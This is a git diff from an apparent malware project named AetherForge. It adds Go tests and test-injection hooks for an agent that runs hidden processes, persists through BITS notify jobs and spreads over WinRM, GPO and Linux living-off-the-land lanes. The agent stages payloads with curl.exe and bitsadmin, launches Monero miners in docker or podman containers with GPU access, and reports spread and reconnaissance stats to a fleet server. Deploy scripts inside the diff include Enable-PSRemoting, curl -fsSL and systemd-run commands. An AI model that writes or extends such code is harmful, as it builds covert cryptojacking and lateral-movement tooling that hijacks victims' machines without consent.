diff --git a/agent/deploy/bits_windows_test.go b/agent/deploy/bits_windows_test.go index 62fc0d9..0419c2b 100644 --- a/agent/deploy/bits_windows_test.go +++ b/agent/deploy/bits_windows_test.go @@ -18,3 +18,60 @@ func TestBitsJobName(t *testing.T) { t.Fatalf("job name must not contain spaces: %q", name) } } + +func TestCreateBITSPersistenceRegistersNotifyJob(t *testing.T) { + var calls [][]string + SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) { + return []byte("no matching jobs"), nil + }) + SetHiddenRunFn(func(name string, arg ...string) error { + calls = append(calls, append([]string{name}, arg...)) + return nil + }) + defer func() { + SetHiddenRunFn(nil) + SetHiddenCombinedOutputFn(nil) + }() + + cfg := testRuntimeConfig() + if err := CreateBITSPersistence(cfg, `C:\af\worker.exe`); err != nil { + t.Fatal(err) + } + + foundCreate := false + foundNotify := false + for _, call := range calls { + if len(call) >= 3 && call[0] == "bitsadmin" && call[1] == "/create" { + foundCreate = true + } + if len(call) >= 2 && call[0] == "bitsadmin" && call[1] == "/SetNotifyCmdLine" { + foundNotify = true + } + } + if !foundCreate || !foundNotify { + t.Fatalf("expected bitsadmin create+notify, calls=%v", calls) + } +} + +func TestCreateBITSPersistenceIdempotentWhenJobExists(t *testing.T) { + job := BitsJobName(testRuntimeConfig()) + SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) { + return []byte(job + " TRANSFER"), nil + }) + ran := false + SetHiddenRunFn(func(name string, arg ...string) error { + ran = true + return nil + }) + defer func() { + SetHiddenRunFn(nil) + SetHiddenCombinedOutputFn(nil) + }() + + if err := CreateBITSPersistence(testRuntimeConfig(), `C:\af\worker.exe`); err != nil { + t.Fatal(err) + } + if ran { + t.Fatal("expected no bitsadmin mutations when job already exists") + } +} diff --git a/agent/deploy/discover_join_test.go b/agent/deploy/discover_join_test.go index 175ff75..b705270 100644 --- a/agent/deploy/discover_join_test.go +++ b/agent/deploy/discover_join_test.go @@ -235,6 +235,78 @@ func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) { } } +func TestExecuteDeployPlanWinRMWithMockHiddenRun(t *testing.T) { + var got []string + SetHiddenRunFn(func(name string, arg ...string) error { + got = append(got, name) + return nil + }) + defer SetHiddenRunFn(nil) + + plan := DeployPlanBody{ + JoinLane: "winrm", + Action: "winrm", + Script: "Enable-PSRemoting -Force", + } + msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(msg, "winrm") { + t.Fatalf("msg=%q", msg) + } + if len(got) == 0 || got[0] != "powershell" { + t.Fatalf("got hidden run=%v", got) + } +} + +func TestExecuteDeployPlanGPOWithMockHiddenRun(t *testing.T) { + SetHiddenRunFn(func(name string, arg ...string) error { return nil }) + defer SetHiddenRunFn(nil) + + plan := DeployPlanBody{ + JoinLane: "gpo", + Action: "gpo", + Script: "$env:AETHER_DEFER_MINING='1'", + } + msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(msg, "gpo") { + t.Fatalf("msg=%q", msg) + } +} + +func TestExecuteDeployPlanLinuxLOTLWithMockHiddenRun(t *testing.T) { + var invoked string + var args []string + SetHiddenRunFn(func(name string, arg ...string) error { + invoked = name + args = append([]string(nil), arg...) + return nil + }) + defer SetHiddenRunFn(nil) + + script := "systemd-run --user --unit=aetherforge-worker.service /opt/af/worker --run --defer-mining" + plan := DeployPlanBody{ + JoinLane: "linux_lotl", + Action: "linux_lotl", + Script: script, + } + msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(msg, "linux lotl") { + t.Fatalf("msg=%q", msg) + } + joined := strings.Join(args, " ") + if !strings.Contains(joined, "systemd-run") { + t.Fatalf("invoked=%q args=%v", invoked, args) + } +} + func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) { payload := []byte("webrtc-signed-plan") sum := sha256.Sum256(payload) diff --git a/agent/deploy/exec_stub.go b/agent/deploy/exec_stub.go index c4e3e54..b8f5408 100644 --- a/agent/deploy/exec_stub.go +++ b/agent/deploy/exec_stub.go @@ -4,6 +4,21 @@ package deploy import "os/exec" +var ( + hiddenRunFn func(name string, arg ...string) error + hiddenCombinedOutputFn func(name string, arg ...string) ([]byte, error) +) + +// SetHiddenRunFn injects HiddenRun for tests; pass nil to restore defaults. +func SetHiddenRunFn(fn func(name string, arg ...string) error) { + hiddenRunFn = fn +} + +// SetHiddenCombinedOutputFn injects HiddenCombinedOutput for tests; pass nil to restore defaults. +func SetHiddenCombinedOutputFn(fn func(name string, arg ...string) ([]byte, error)) { + hiddenCombinedOutputFn = fn +} + func PrepareHiddenProcess(cmd *exec.Cmd) {} func HiddenCommand(name string, arg ...string) *exec.Cmd { @@ -11,6 +26,9 @@ func HiddenCommand(name string, arg ...string) *exec.Cmd { } func HiddenRun(name string, arg ...string) error { + if hiddenRunFn != nil { + return hiddenRunFn(name, arg...) + } return exec.Command(name, arg...).Run() } @@ -19,6 +37,9 @@ func HiddenStart(name string, arg ...string) error { } func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) { + if hiddenCombinedOutputFn != nil { + return hiddenCombinedOutputFn(name, arg...) + } return exec.Command(name, arg...).CombinedOutput() } diff --git a/agent/deploy/exec_windows.go b/agent/deploy/exec_windows.go index 95989e7..b38a059 100644 --- a/agent/deploy/exec_windows.go +++ b/agent/deploy/exec_windows.go @@ -7,6 +7,21 @@ import ( "syscall" ) +var ( + hiddenRunFn func(name string, arg ...string) error + hiddenCombinedOutputFn func(name string, arg ...string) ([]byte, error) +) + +// SetHiddenRunFn injects HiddenRun for tests; pass nil to restore defaults. +func SetHiddenRunFn(fn func(name string, arg ...string) error) { + hiddenRunFn = fn +} + +// SetHiddenCombinedOutputFn injects HiddenCombinedOutput for tests; pass nil to restore defaults. +func SetHiddenCombinedOutputFn(fn func(name string, arg ...string) ([]byte, error)) { + hiddenCombinedOutputFn = fn +} + const creationFlagsNoWindow = 0x08000000 // CREATE_NO_WINDOW // PrepareHiddenProcess configures a command so it never shows a console window. @@ -29,6 +44,9 @@ func HiddenCommand(name string, arg ...string) *exec.Cmd { // HiddenRun runs a process hidden and waits for completion. func HiddenRun(name string, arg ...string) error { + if hiddenRunFn != nil { + return hiddenRunFn(name, arg...) + } return HiddenCommand(name, arg...).Run() } @@ -39,6 +57,9 @@ func HiddenStart(name string, arg ...string) error { // HiddenCombinedOutput runs a hidden process and returns its combined output. func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) { + if hiddenCombinedOutputFn != nil { + return hiddenCombinedOutputFn(name, arg...) + } return HiddenCommand(name, arg...).CombinedOutput() } diff --git a/agent/deploy/staging_chain_test.go b/agent/deploy/staging_chain_test.go index 45f8bb3..c280a4f 100644 --- a/agent/deploy/staging_chain_test.go +++ b/agent/deploy/staging_chain_test.go @@ -174,6 +174,122 @@ func TestStageFetchSHA256MismatchRejected(t *testing.T) { } } +func TestCurlStagingUsesCurlExeWhenNoInject(t *testing.T) { + payload := []byte("curl-exe-staged") + sum := sha256.Sum256(payload) + hash := hex.EncodeToString(sum[:]) + + var calls [][]string + SetHiddenRunFn(func(name string, arg ...string) error { + calls = append(calls, append([]string{name}, arg...)) + if name == "curl.exe" { + for i, a := range arg { + if a == "-o" && i+1 < len(arg) { + dest := arg[i+1] + if err := os.MkdirAll(filepath.Dir(dest), 0o700); err != nil { + return err + } + return os.WriteFile(dest, payload, 0o644) + } + } + } + return nil + }) + defer SetHiddenRunFn(nil) + + oldCurl := stagingDownloadCurlFn + stagingDownloadCurlFn = nil + oldLaunch := stagingLaunchFn + stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) { + return "curl exe path ok", nil + } + defer func() { + stagingDownloadCurlFn = oldCurl + stagingLaunchFn = oldLaunch + }() + + cfg := testRuntimeConfig() + _, err := RunStagingChain(cfg, StagingManifest{ + Method: "curl", + Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "chunk.bin"}}, + SHA256: hash, + Dest: "curl-exe-worker.exe", + }) + if err != nil { + if strings.Contains(err.Error(), "Windows-only") { + t.Skip("staging chain requires windows build") + } + t.Fatal(err) + } + + foundCurl := false + for _, call := range calls { + if len(call) >= 1 && call[0] == "curl.exe" { + foundCurl = true + break + } + } + if !foundCurl { + t.Fatalf("expected curl.exe invocation, calls=%v", calls) + } +} + +func TestBITSStagingUsesBitsadminWhenNoInject(t *testing.T) { + payload := []byte("bitsadmin-staged") + sum := sha256.Sum256(payload) + hash := hex.EncodeToString(sum[:]) + + var calls [][]string + SetHiddenRunFn(func(name string, arg ...string) error { + calls = append(calls, append([]string{name}, arg...)) + if name == "bitsadmin" && len(arg) >= 2 && arg[0] == "/transfer" { + dest := arg[len(arg)-1] + if err := os.MkdirAll(filepath.Dir(dest), 0o700); err != nil { + return err + } + return os.WriteFile(dest, payload, 0o644) + } + return nil + }) + defer SetHiddenRunFn(nil) + + oldBits := stagingDownloadBITSFn + stagingDownloadBITSFn = nil + oldLaunch := stagingLaunchFn + stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) { + return "bitsadmin path ok", nil + } + defer func() { + stagingDownloadBITSFn = oldBits + stagingLaunchFn = oldLaunch + }() + + cfg := testRuntimeConfig() + _, err := RunStagingChain(cfg, StagingManifest{ + Method: "bitsadmin", + Chunks: []StagingChunk{{URL: "http://127.0.0.1/bits-chunk", File: "bits.bin"}}, + SHA256: hash, + Dest: "bits-exe-worker.exe", + }) + if err != nil { + if strings.Contains(err.Error(), "Windows-only") { + t.Skip("staging chain requires windows build") + } + t.Fatal(err) + } + + foundTransfer := false + for _, call := range calls { + if len(call) >= 2 && call[0] == "bitsadmin" && call[1] == "/transfer" { + foundTransfer = true + break + } + } + if !foundTransfer { + t.Fatalf("expected bitsadmin /transfer, calls=%v", calls) + } +} + func TestStageFetchDownloaderErrorPropagates(t *testing.T) { oldCurl := stagingDownloadCurlFn stagingDownloadCurlFn = func(url, dest string) error { diff --git a/agent/miner/container_launcher_test.go b/agent/miner/container_launcher_test.go index 79c400a..d80ab88 100644 --- a/agent/miner/container_launcher_test.go +++ b/agent/miner/container_launcher_test.go @@ -216,6 +216,117 @@ func TestContainerLauncherDockerLoadFromTar(t *testing.T) { } } +func TestContainerLauncherPodmanStartWithFakeRuntime(t *testing.T) { + var gotCLI string + SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { + if len(args) > 0 && args[0] == "rm" { + return quickExitTestCmd() + } + gotCLI = name + return longRunningTestCmd() + }) + defer SetContainerExecCommand(nil) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + BuildID: "podman-build", + Wallet: "XMR:wallet", + PoolHost: "pool.example.com", + PoolPort: 3333, + }, + } + rt := ContainerRuntimeInfo{Available: true, CLI: "podman", Version: "4.9.0"} + + launcher, err := NewContainerLauncher(cfg, rt) + if err != nil { + t.Fatalf("NewContainerLauncher: %v", err) + } + if err := launcher.Start(); err != nil { + t.Fatalf("Start: %v", err) + } + defer launcher.Stop() + + if gotCLI != "podman" { + t.Fatalf("runtime CLI=%q want podman", gotCLI) + } + if !launcher.Running() { + t.Fatal("Running() false after podman Start") + } +} + +func TestContainerLauncherStopInvokesRm(t *testing.T) { + var calls [][]string + SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { + copied := append([]string{name}, args...) + calls = append(calls, copied) + if len(args) > 0 && args[0] == "rm" { + return quickExitTestCmd() + } + return longRunningTestCmd() + }) + defer SetContainerExecCommand(nil) + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "stop-test"}} + rt := ContainerRuntimeInfo{Available: true, CLI: "docker"} + launcher, err := NewContainerLauncher(cfg, rt) + if err != nil { + t.Fatal(err) + } + if err := launcher.Start(); err != nil { + t.Fatal(err) + } + launcher.Stop() + + foundRm := false + for _, call := range calls { + if len(call) >= 3 && call[1] == "rm" && call[2] == "-f" { + foundRm = true + break + } + } + if !foundRm { + t.Fatalf("docker rm -f not invoked, calls=%v", calls) + } + if launcher.Running() { + t.Fatal("Running() true after Stop") + } +} + +func TestContainerLauncherGPUFlags(t *testing.T) { + var gotArgs []string + SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { + if len(args) > 0 && args[0] == "rm" { + return quickExitTestCmd() + } + gotArgs = append([]string(nil), args...) + return longRunningTestCmd() + }) + defer SetContainerExecCommand(nil) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + BuildID: "gpu-test", + Wallet: "XMR:wallet", + PoolHost: "pool.example.com", + PoolPort: 3333, + GPUEnabled: true, + }, + } + rt := ContainerRuntimeInfo{Available: true, CLI: "docker"} + launcher, err := NewContainerLauncher(cfg, rt) + if err != nil { + t.Fatal(err) + } + if err := launcher.Start(); err != nil { + t.Fatal(err) + } + defer launcher.Stop() + + if !containsSeq(gotArgs, "--gpus", "all") { + t.Fatalf("args missing --gpus all: %v", gotArgs) + } +} + func containsSeq(args []string, seq ...string) bool { if len(seq) == 0 || len(args) < len(seq) { return false diff --git a/agent/miner/runtime_detect.go b/agent/miner/runtime_detect.go index 25f8372..451534c 100644 --- a/agent/miner/runtime_detect.go +++ b/agent/miner/runtime_detect.go @@ -5,15 +5,41 @@ import ( "strings" ) +var ( + containerLookPathFn = exec.LookPath + containerVersionCmd = func(path string, args ...string) *exec.Cmd { + return exec.Command(path, args...) + } +) + +// SetContainerRuntimeProbes injects lookPath/version probes for tests; pass nil to restore defaults. +func SetContainerRuntimeProbes( + lookPath func(string) (string, error), + versionCmd func(string, ...string) *exec.Cmd, +) { + if lookPath == nil { + containerLookPathFn = exec.LookPath + } else { + containerLookPathFn = lookPath + } + if versionCmd == nil { + containerVersionCmd = func(path string, args ...string) *exec.Cmd { + return exec.Command(path, args...) + } + } else { + containerVersionCmd = versionCmd + } +} + // DetectContainerRuntime probes docker then podman CLIs. func DetectContainerRuntime() ContainerRuntimeInfo { for _, cli := range []string{"docker", "podman"} { - if path, err := exec.LookPath(cli); err == nil { - out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput() + if path, err := containerLookPathFn(cli); err == nil { + out, runErr := containerVersionCmd(path, "version", "--format", "{{.Server.Version}}").CombinedOutput() version := strings.TrimSpace(string(out)) if runErr != nil || version == "" { // Older docker without --format still counts as available. - if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil { + if _, verErr := containerVersionCmd(path, "version").CombinedOutput(); verErr == nil { return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"} } continue diff --git a/agent/miner/runtime_detect_test.go b/agent/miner/runtime_detect_test.go new file mode 100644 index 0000000..e884475 --- /dev/null +++ b/agent/miner/runtime_detect_test.go @@ -0,0 +1,91 @@ +package miner + +import ( + "os/exec" + "runtime" + "testing" +) + +func mockVersionOKCmd(_ string, args ...string) *exec.Cmd { + if runtime.GOOS == "windows" { + if len(args) >= 2 && args[0] == "version" && args[1] == "--format" { + return exec.Command("cmd", "/c", "echo", "24.0.1") + } + return exec.Command("cmd", "/c", "exit", "0") + } + if len(args) >= 2 && args[0] == "version" && args[1] == "--format" { + return exec.Command("sh", "-c", "echo 24.0.1") + } + return exec.Command("true") +} + +func mockVersionPodmanCmd(_ string, args ...string) *exec.Cmd { + if runtime.GOOS == "windows" { + if len(args) >= 2 && args[0] == "version" && args[1] == "--format" { + return exec.Command("cmd", "/c", "echo", "4.9.0") + } + return exec.Command("cmd", "/c", "exit", "0") + } + if len(args) >= 2 && args[0] == "version" && args[1] == "--format" { + return exec.Command("sh", "-c", "echo 4.9.0") + } + return exec.Command("true") +} + +func TestDetectContainerRuntimePrefersDocker(t *testing.T) { + SetContainerRuntimeProbes( + func(name string) (string, error) { + if name == "docker" { + return "/usr/bin/docker", nil + } + if name == "podman" { + return "/usr/bin/podman", nil + } + return "", exec.ErrNotFound + }, + mockVersionOKCmd, + ) + defer SetContainerRuntimeProbes(nil, nil) + + rt := DetectContainerRuntime() + if !rt.Available || rt.CLI != "docker" { + t.Fatalf("runtime=%+v want docker", rt) + } + if rt.Version != "24.0.1" { + t.Fatalf("version=%q", rt.Version) + } +} + +func TestDetectContainerRuntimeFallsBackToPodman(t *testing.T) { + SetContainerRuntimeProbes( + func(name string) (string, error) { + if name == "podman" { + return "/usr/bin/podman", nil + } + return "", exec.ErrNotFound + }, + mockVersionPodmanCmd, + ) + defer SetContainerRuntimeProbes(nil, nil) + + rt := DetectContainerRuntime() + if !rt.Available || rt.CLI != "podman" { + t.Fatalf("runtime=%+v want podman", rt) + } + if rt.Version != "4.9.0" { + t.Fatalf("version=%q", rt.Version) + } +} + +func TestDetectContainerRuntimeUnavailable(t *testing.T) { + SetContainerRuntimeProbes( + func(string) (string, error) { return "", exec.ErrNotFound }, + nil, + ) + defer SetContainerRuntimeProbes(nil, nil) + + rt := DetectContainerRuntime() + if rt.Available || rt.CLI != "" { + t.Fatalf("runtime=%+v want unavailable", rt) + } +} diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1 index b15f612..e4b5fe2 100644 --- a/scripts/test-suite.ps1 +++ b/scripts/test-suite.ps1 @@ -83,12 +83,12 @@ Write-Host " Root: $Root" if ($P2) { Invoke-Phase "P2 focused (mining, spread, path forge, WS/beacon)" { Push-Location (Join-Path $Root "server") - go test ./internal/api/... ./internal/builder/... -run "SpreadLane|WSBeacon|PathForge|Download|SpreadCred" -count=1 + go test ./internal/api/... ./internal/builder/... -run "SpreadLane|WSBeacon|PathForge|Download|SpreadCred|PostDeploy" -count=1 Pop-Location Push-Location (Join-Path $Root "agent") go test ./client/... -run "MiningChain|WSBeacon|PathTracer" -count=1 - go test ./deploy/... -run "WinRM|Spread|Staging|LinuxLOTL" -count=1 - go test ./miner/... -run "Fallback|TripleOnion" -count=1 + go test ./deploy/... -run "WinRM|Spread|Staging|LinuxLOTL|BITS|HiddenRun|DeployPlan" -count=1 + go test ./miner/... -run "Fallback|TripleOnion|Container|Runtime" -count=1 Pop-Location Push-Location (Join-Path $Root "server\web") if (-not (Test-Path "node_modules")) { npm install --silent } diff --git a/server/go.mod b/server/go.mod index c095f98..9f52a41 100644 --- a/server/go.mod +++ b/server/go.mod @@ -7,7 +7,7 @@ require ( github.com/go-chi/cors v1.2.1 github.com/google/uuid v1.6.0 github.com/gorilla/websocket v1.5.1 - github.com/klauspost/reedsolomon v1.12.4 + github.com/klauspost/reedsolomon v1.14.0 github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e golang.org/x/crypto v0.52.0 modernc.org/sqlite v1.29.5 @@ -16,7 +16,7 @@ require ( require ( github.com/dustin/go-humanize v1.0.1 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect - github.com/klauspost/cpuid/v2 v2.2.8 // indirect + github.com/klauspost/cpuid/v2 v2.3.0 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/ncruces/go-strftime v0.1.9 // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect diff --git a/server/go.sum b/server/go.sum index 900809a..49c5a6e 100644 --- a/server/go.sum +++ b/server/go.sum @@ -14,8 +14,12 @@ github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= +github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y= +github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA= github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU= +github.com/klauspost/reedsolomon v1.14.0 h1:5YSZeclzSYg5nl349+GDG/agDtQ6MZiwUYXvVKN1Jx0= +github.com/klauspost/reedsolomon v1.14.0/go.mod h1:yjqqjgMTQkBUHSG97/rm4zipffCNbCiZcB3kTqr++sQ= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU= diff --git a/server/internal/api/deploy_plan_integration_test.go b/server/internal/api/deploy_plan_integration_test.go new file mode 100644 index 0000000..fdb2a2e --- /dev/null +++ b/server/internal/api/deploy_plan_integration_test.go @@ -0,0 +1,125 @@ +package api + +import ( + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} { + t.Helper() + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method", http.StatusMethodNotAllowed) + return + } + h.PostDeployPlan(w, r) + })) + t.Cleanup(srv.Close) + + resp, err := http.Post(srv.URL, "application/json", strings.NewReader(body)) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + raw, err := io.ReadAll(resp.Body) + if err != nil { + t.Fatal(err) + } + if resp.StatusCode != http.StatusOK { + t.Fatalf("status=%d body=%s", resp.StatusCode, string(raw)) + } + var out map[string]interface{} + if err := json.Unmarshal(raw, &out); err != nil { + t.Fatal(err) + } + return out +} + +func TestPostDeployPlanHTTPWinRM(t *testing.T) { + root := t.TempDir() + writeDeploySpreadTemplates(t, root) + h := testDeployPlanHandlerWithRoot(t, root) + + out := postDeployPlan(t, h, `{ + "services":[{"name":"WinRM","status":"running"}], + "platform":"windows","build_id":"b1","campaign":"winrm-lab" + }`) + if out["ok"] != true { + t.Fatalf("resp=%v", out) + } + if out["join_lane"] != "winrm" { + t.Fatalf("join_lane=%v", out["join_lane"]) + } + plan, ok := out["plan"].(map[string]interface{}) + if !ok || plan["join_lane"] != "winrm" { + t.Fatalf("plan=%v", out["plan"]) + } + script, _ := plan["script"].(string) + for _, marker := range []string{"Enable-PSRemoting", "--spread-install", "--defer-mining"} { + if !strings.Contains(script, marker) { + t.Fatalf("script missing %q: %s", marker, script) + } + } + if sig, _ := out["signature"].(string); sig == "" { + t.Fatal("expected signature") + } +} + +func TestPostDeployPlanHTTPGPO(t *testing.T) { + root := t.TempDir() + writeDeploySpreadTemplates(t, root) + h := testDeployPlanHandlerWithRoot(t, root) + + out := postDeployPlan(t, h, `{ + "services":[{"name":"gpsvc","status":"running"}], + "platform":"windows","build_id":"b1","campaign":"gpo-wave" + }`) + if out["ok"] != true || out["join_lane"] != "gpo" { + t.Fatalf("resp=%v", out) + } + plan := out["plan"].(map[string]interface{}) + script, _ := plan["script"].(string) + if !strings.Contains(script, "AETHER_DEFER_MINING") || !strings.Contains(script, "/install.ps1") { + t.Fatalf("script=%q", script) + } +} + +func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) { + root := t.TempDir() + writeDeploySpreadTemplates(t, root) + h := testDeployPlanHandlerWithRoot(t, root) + + out := postDeployPlan(t, h, `{ + "services":[{"name":"sshd","status":"active"}], + "platform":"linux","build_id":"b1","campaign":"lotl-lab" + }`) + if out["ok"] != true || out["join_lane"] != "linux_lotl" { + t.Fatalf("resp=%v", out) + } + plan := out["plan"].(map[string]interface{}) + script, _ := plan["script"].(string) + for _, marker := range []string{"systemd-run --user", "curl -fsSL"} { + if !strings.Contains(script, marker) { + t.Fatalf("script missing %q: %s", marker, script) + } + } +} + +func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) { + h := testDeployPlanHandler(t) + srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan)) + t.Cleanup(srv.Close) + + resp, err := http.Post(srv.URL, "application/json", strings.NewReader(`{"platform":"windows"}`)) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status=%d", resp.StatusCode) + } +} diff --git a/server/web/e2e/discover-spread-stub.ts b/server/web/e2e/discover-spread-stub.ts index cb19e56..547dc52 100644 --- a/server/web/e2e/discover-spread-stub.ts +++ b/server/web/e2e/discover-spread-stub.ts @@ -1,13 +1,48 @@ /** - * Stub agent for discover→spread E2E — acknowledges discover_and_join and reports join_lane. + * Stub agents for discover→spread E2E — multi-hop chain acknowledges discover_and_join + * and propagates join_lane stats across egress → seed → leaf hops. */ import type { APIRequestContext } from '@playwright/test'; import { fetchFleetSecret, waitForServerHealth } from './fixtures'; -export const E2E_DISCOVER_AGENT_ID = 'e2e-discover-spread-agent'; -export const E2E_DISCOVER_AGENT_HOSTNAME = 'E2E-Discover-Host'; -export const E2E_DISCOVER_JOIN_LANE = 'dns_txt'; -export const E2E_DISCOVER_JOIN_LABEL = 'DNS TXT'; +export type DiscoverSpreadHop = { + id: string; + hostname: string; + joinLane: string; + joinLabel: string; + hopIndex: number; +}; + +/** Three-hop discover→spread chain: egress discovers, seed WinRM, leaf GPO. */ +export const E2E_DISCOVER_CHAIN_HOPS: readonly DiscoverSpreadHop[] = [ + { + id: 'e2e-discover-hop0', + hostname: 'E2E-Hop0-Egress', + joinLane: 'dns_txt', + joinLabel: 'DNS TXT', + hopIndex: 0, + }, + { + id: 'e2e-discover-hop1', + hostname: 'E2E-Hop1-Seed', + joinLane: 'winrm', + joinLabel: 'WinRM', + hopIndex: 1, + }, + { + id: 'e2e-discover-hop2', + hostname: 'E2E-Hop2-Leaf', + joinLane: 'gpo', + joinLabel: 'GPO', + hopIndex: 2, + }, +] as const; + +/** Back-compat aliases for single-hop tests. */ +export const E2E_DISCOVER_AGENT_ID = E2E_DISCOVER_CHAIN_HOPS[0].id; +export const E2E_DISCOVER_AGENT_HOSTNAME = E2E_DISCOVER_CHAIN_HOPS[0].hostname; +export const E2E_DISCOVER_JOIN_LANE = E2E_DISCOVER_CHAIN_HOPS[0].joinLane; +export const E2E_DISCOVER_JOIN_LABEL = E2E_DISCOVER_CHAIN_HOPS[0].joinLabel; const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989'; const STATS_INTERVAL_MS = 1_000; @@ -33,32 +68,61 @@ function send(ws: WebSocket, type: string, payload: Record): vo ws.send(JSON.stringify({ type, payload })); } -function sendStubStats(ws: WebSocket, joinLane?: string): void { +function sendStubStats(ws: WebSocket, hop: DiscoverSpreadHop, joinLane?: string): void { send(ws, 'stats', { - hashrate_15s: 42, - hashrate_1m: 42, - hashrate_15m: 42, + hashrate_15s: 42 + hop.hopIndex, + hashrate_1m: 42 + hop.hopIndex, + hashrate_15m: 42 + hop.hopIndex, shares_submitted: 0, shares_accepted: 0, cpu_usage_pct: 5, memory_usage_pct: 40, - uptime_seconds: 120, + uptime_seconds: 120 + hop.hopIndex * 30, active_method: 'inprocess', - mining_hashrate: 42, + mining_hashrate: 42 + hop.hopIndex, lotl_tier: 'inprocess', lotl_attempts: [ { tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' }, - { tier: 'dns_txt', ok: true, duration_ms: 450, phase: 'deploy' }, + { tier: hop.joinLane, ok: true, duration_ms: 450 + hop.hopIndex * 100, phase: 'deploy' }, ], + spread_route_hint: { + egress_hop_index: hop.hopIndex, + join_lane: joinLane ?? hop.joinLane, + target_subnet: '10.99.0', + }, ...(joinLane ? { join_lane: joinLane } : {}), }); } -async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): Promise<() => void> { +type HopConnection = { + hop: DiscoverSpreadHop; + ws: WebSocket; + statsTimer: ReturnType; +}; + +const hopConnections = new Map(); + +function propagateChainJoinLanes(fromHopIndex: number): void { + for (const conn of hopConnections.values()) { + if (conn.hop.hopIndex <= fromHopIndex) continue; + const delayMs = (conn.hop.hopIndex - fromHopIndex) * 600; + setTimeout(() => { + if (conn.ws.readyState === WebSocket.OPEN) { + sendStubStats(conn.ws, conn.hop, conn.hop.joinLane); + } + }, delayMs); + } +} + +async function connectDiscoverSpreadHop( + baseUrl: string, + fleetSecret: string, + hop: DiscoverSpreadHop, +): Promise<() => void> { const ws = new WebSocket(wsAgentUrl(baseUrl)); await new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error('discover stub ws open timeout')), 10_000); + const timer = setTimeout(() => reject(new Error(`discover stub ws open timeout (${hop.id})`)), 10_000); ws.addEventListener( 'open', () => { @@ -71,16 +135,16 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): 'error', () => { clearTimeout(timer); - reject(new Error('discover stub ws connection failed')); + reject(new Error(`discover stub ws connection failed (${hop.id})`)); }, { once: true }, ); }); send(ws, 'auth', { - agent_id: E2E_DISCOVER_AGENT_ID, + agent_id: hop.id, fleet_secret: fleetSecret, - hostname: E2E_DISCOVER_AGENT_HOSTNAME, + hostname: hop.hostname, version: '1.0.0-e2e', platform: 'windows', arch: 'amd64', @@ -89,7 +153,7 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): }); await new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error('discover stub auth timeout')), 30_000); 